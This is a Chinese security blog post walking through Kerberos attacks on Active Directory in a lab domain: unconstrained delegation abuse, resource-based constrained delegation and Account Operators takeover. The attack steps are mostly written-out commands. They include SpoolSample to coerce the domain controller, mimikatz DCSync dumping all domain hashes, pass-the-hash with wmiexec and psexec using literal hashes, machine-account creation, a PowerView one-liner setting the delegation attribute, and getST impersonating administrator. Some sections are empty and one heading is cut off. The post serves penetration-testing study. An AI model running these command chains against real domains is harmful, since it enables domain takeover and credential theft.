Secsheep

愿你从知识中获得勇气和力量。

Home › uncategorized › 内网篇-Kerberos相关安全问题和攻击手法

内网篇-Kerberos相关安全问题和攻击手法

Secsheep 2024年6月26日    

目录

Toggle
  • 前置知识-机器账户的委派和主机用户的委派
    • 账户分类:
    • 不受约束的委派和受约束的委派的利用条件
    • 复现配置
    • 判断是否存在约束委派的服务、主机和机器账户
  • 非约束委派
    • 利用思路一(主动)
      • 监听来自DC的请求数据并保存文件
      • 域用户运行SpoolSample强制让DC请求
      • 使用mimikatz导出域内Hash
      • 使用wmi借助hash横向移动
      • 判断目标机器是否开启非约束的委派,可以通过powerview.ps1
    • 利用思路二(被动)
  • 约束委派
  • 基于资源的约束委派
    • 资源委派的分类
      • 通过管理主机加入域的用户拿下主机
        • 利用思路
        • 利用条件
        • 利用过程
      • 已知Acount Operators组用户拿下主机
      • 结合HTLM Relay攻击拿下主机(CVE-2019-104
  • Asrep roasting 和 Kerberoasting

前置知识-机器账户的委派和主机用户的委派

委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等),类似于租房中介房东的关系去理解。

 

简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问指定服务资源。

RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。

账户分类:

机器账户:计算机本身名称的账户,在域中computers组内的计算机。

主机账户:计算机系统的主机账户,用于正常用户登入计算机使用。

服务账户:计算机服务安装时创建的账户,用于运行服务时使用,不可用于登入计算机。

不受约束的委派和受约束的委派的利用条件

复现配置

1、信任此计算机来委派任何服务

2、setspn -U -A priv/test webadmin

setspn -U -A priv/test kali  是kali用户具有委派权限

判断是否存在约束委派的服务、主机和机器账户

查询域内设置了非约束委派的服务(主机)账户:

AdFind -b “DC=god,DC=org” -f “(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))” dn

查询域内设置了非约束委派的机器账户(域控自带拥有非约束委派的权限):

AdFind -b “DC=god,DC=org” -f “(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))” dn

 

非约束委派

 委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动

(请求新的服务等),类似于租房中介房东的关系去理解。

利用思路一(主动)

利用条件:DC 2012以上

1、Administrator权限监听

2、打印机服务spooler开启(默认开启)

原理:

机器A(域控)访问具有非约束委派权限的机器B的服务,会把当前认证用户(域管用户)的的TGT放在ST票据中,一起发送给机器B,

机器B会把TGT存储在lsass进程中以备下次重用。从而机器B就能使用这个TGT模拟认证用户(域管用户)访问服务。

利用场景

攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的TGT,从而模拟域管用户。

监听来自DC的请求数据并保存文件

shell Rubeus.exe monitor /interval:2 /filteruser:dc$ >hash.txt

域用户运行SpoolSample强制让DC请求

shell SpoolSample.exe dc web2016

使用mimikatz导出域内Hash

mimikatz lsadump::dcsync /domain:xiaodi8.com /all /csv

使用wmi借助hash横向移动

python wmiexec.py -hashes :0b17b318cd59bb4e90f5a528437481a9 xiaodi8.com/administrator@dc.xiaodi8.com -no-pass

或者

impacket-psexec -hashes 00000000000000000000000000000000:00151eca8eec58100eff21aaaf9693bf administrator@192.168.139.11

判断目标机器是否开启非约束的委派,可以通过powerview.ps1

接下来利用nsllokup web2016来查找dnsserver

利用思路二(被动)

约束委派

基于资源的约束委派

基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。

所以核心就是谁或什么权限能修改msDS-AllowedToActOnBehalfOfOtherIdentity

简单的讲,也就是如果攻击者能够在data的机器上设置msDS-AllowedToActOnBehalfOfOtherIdentity属性为ServiceA,

也就允许ServiceA利用s4u2self协议代表其他用户身份来访问data的话,那我们就可以做到横向移动及提权等操作。

资源委派的分类

通过管理主机加入域的用户拿下主机

利用思路

计算机加⼊域时,加⼊域的域⽤户被控后也将导致使用当前域用户加入的计算机受控。

因为:

机器加入域的时候 账号可以登录十个机器

1、一个账号对应加入一个机器(SID不一致)–不能进行RBCD攻击

2、一个账号对应加多个机器(SID一致)–能进行RBCD攻击

利用条件

1、允许创建机器账户

2、具有管理主机加入域的用户账户

利用过程

1、判断是否有利用条件:

查询被域用户创建的机器账户列表:

shell AdFind.exe -b “DC=xiaodi,DC=local” -f “(&(samAccountType=805306369))” cn mS-DS-CreatorSID

根据查询出来的sid找出对应的用户名:

shell AdFind.exe -b “DC=xiaodi,DC=local” -f “(&(objectsid=S-1-5-21-1695257952-3088263962-2055235443-1104))” objectclass cn dn

2、开始利用新增机器账户

添加一个机器账户,用于申请票据

# 使用addcpmputer创建机器账户

python addcomputer.py xiaodi8.com/web2016:Xiaodi12345 -method LDAPS -computer-name test01\$ -computer-pass Passw0rd -dc-ip 192.168.139.11

# 使用bloodyAD工具创建机器账户

python bloodyAD.py -d redteam.lab -u web2016 -p ‘Xiaodi12345’ –host 192.168.139.11 addComputer test01 ‘Passw0rd’

# 使用PowerMad工具创建机器账户

powershell Set-ExecutionPolicy Bypass -Scope Process

powershell Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString “123456” -AsPlainText -Force)

3、利用新增机器账户修改委派属性满足申请访问目标票款

修改目标主机的资源委派属性(data)

msds-allowedtoactonbehalfofotheridentity

获取新增账户的objectsid

powershell Import-Module .\PowerView.ps1;Get-NetComputer serviceA -Properties objectsid

修改datax主机委派属性:

powershell import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList “O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1124)”;$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer datax| Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes} -Verbose

验证和清除委派属性:

powershell import-module .\powerview.ps1;Get-DomainComputer data -Properties msds-allowedtoactonbehalfofotheridentity

powershell import-module .\powerview.ps1;Set-DomainObject data -Clear ‘msds-allowedtoactonbehalfofotheridentity’ -Verbose

4、利用修改后的属性申请目标请求票据后导入利用

利用serviceA申请访问data主机cifs服务票据:

python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/datax.xiaodi.local -impersonate administrator

导入票据到内存:

mimikatz kerberos::ptc administrator.ccache

连接利用票据:

shell dir \\data.xiaodi.local\c$

已知Acount Operators组用户拿下主机

利用条件:

1、获取到属于Acount Operators组的用户账户

2、可以创建机器账户

 

利用过程:

1、判断是否有利用条件:

查询Acount Operators组成员:

shell adfind.exe -h 192.168.3.33:389 -s subtree -b CN=”Account Operators”,CN=Builtin,DC=xiaodi,DC=local member

2、后续利用同上

结合HTLM Relay攻击拿下主机(CVE-2019-104

Asrep roasting 和 Kerberoasting

Kerberoasting攻击指的是获得对应服务的ST,再对其进行离线破解以获得服务的哈希,只需要一个普通域内用户。

在KRB_TGS_REP消息中,ticket字段的enc-part是使用所请求的服务哈希加密的。Kerberoasting与AS-REP Roasting类似,请求获得KRB_TGS_REP消息,再离线破解ticket字段的enc-part,不过前者是破解服务账户,而AS-REP Roasting破解的是用户账户。

 Previous Post

内网信息收集总结

―2024年6月26日

Next Post 

Cobaltstriker 使用篇

―2024年6月28日

Author: Secsheep

Related Articles

Secsheep ― 2023年10月7日 | No Comment

PG-Access-Wp

1.Reconnaissance We

Secsheep ― 2023年5月22日 | 1 Comment

转载-Oscp训练靶场之HTB-Redcross

Secsheep ― 2025年1月8日 | No Comment

2025-1-8

Secsheep ― 2024年8月14日 | No Comment

我对Kerberos协议的理解

Secsheep ― 2024年7月5日 | No Comment

加油,前方就是胜利!

Secsheep ― 2024年6月29日 | No Comment

内网信息收集

Secsheep ― 2024年6月28日 | No Comment

Cobaltstriker 使用篇

Secsheep ― 2024年6月26日 | No Comment

内网信息收集总结

Secsheep ― 2024年6月25日 | No Comment

域森林环境搭建总结

Secsheep ― 2024年6月24日 | No Comment

一次小型的内网攻防渗透

Leave a Reply Cancel reply

Copyright © Secsheep 赣ICP备2023005527号